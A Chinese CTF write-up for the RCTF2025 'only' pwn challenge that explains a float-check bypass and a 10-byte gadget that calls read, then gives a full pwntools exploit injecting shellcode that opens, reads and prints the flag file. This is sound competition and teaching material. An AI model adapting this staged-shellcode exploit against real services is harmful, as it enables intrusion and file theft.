文章总结: 本文是RCTF2025only题目的解题报告。主要难点在于绕过浮点数校验与受限的shellcode写入空间。作者通过构造特定浮点数通过检查,并利用pop指令链在10字节限制下调用read系统调用,从而注入完整shellcode读取flag。文档提供了关键函数逆向分析、浮点数构造方法及完整的漏洞利用代码,具有较强的实操参考价值。 综合评分: 88 文章分类: CTF,二进制安全,逆向分析,漏洞POC
WriteUp | RCTF2025-only
凌日网络与信息安全团队
2026年3月3日 22:03 重庆
免责声明:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!
主要的突破点在sub_18BC函数中,这里需要我们输入的浮点数的 8 字节二进制表示与 “0xD0E0A0D0B0E0E0F” 完全相等(小端)。可以用python的struct模块来计算
import struct
x = 0xD0E0A0D0B0E0E0F
d = struct.unpack(‘<d’, struct.pack(‘<Q’, x))[0]
print(d) # 8.592564544313935e-246计算后的结果
进入之后,给了你两个选项,主要在前一个选项中,这部分给你开辟了一块内存空间,可能是给你放你的shellcode,后面分析,一开始注入了一些其实数据但其实是清空寄存器,程序这里给了我们10字节的自由输入空间,由于分配的10字节空间太少我们无法构造完整的shellcode,所以我们考虑如何调出read的系统调用,这样我们可以续写shellcode,由于空间分配少,我们去考虑一些字节占用少的指令比,这里用到pop,在这之后只需要计算好输入位置到执行下一条指令的偏移量,覆盖后注入新的 shellcode 即可 。
EXP如下
1. from pwn import*
3. context.update(arch="amd64", os="linux", log_level="debug")
5. TARGET_HOST ="101.245.98.115"
6. TARGET_PORT =26100
8. def launch():
10. return remote(TARGET_HOST, TARGET_PORT)
12. def prepare_menu(io):
14. io.sendlineafter(b"3.exit", b"2")
15. io.sendlineafter(b"input:", b"8.592564544313935e-246")
16. io.sendlineafter(b"Make a choice:", b"1")
18. def fire_gadget(io):
19. gadget_bytes = bytes.fromhex("5b5b5a5b585e0f05")
20. io.send(gadget_bytes)
22. def send_shellcode(io):
24. shell_asm ="""
25. push 0x67616c66 ;
26. mov rdi, rsp
27. xor esi, esi
28. push 2
29. pop rax
30. syscall ;
31. mov rdi, rax
32. mov rsi, rsp
33. mov edx, 0x100
34. xor eax, eax
35. syscall ;
36. mov edi, 1
37. mov rsi, rsp
38. push 1
39. pop rax
40. syscall ;
41. """
43. nop_pad = b"\x90"*0x32
44. shell_bytes =asm(shell_asm)
45. payload = nop_pad + shell_bytes
47. io.send(payload)
49. def main():
50. io = launch()
51. prepare_menu(io)
52. fire_gadget(io)
53. send_shellcode(io)
54. io.interactive()
56. if __name__ =="__main__":
57. main()
免责声明:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:凌日网络与信息安全团队 《WriteUp | RCTF2025-only》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论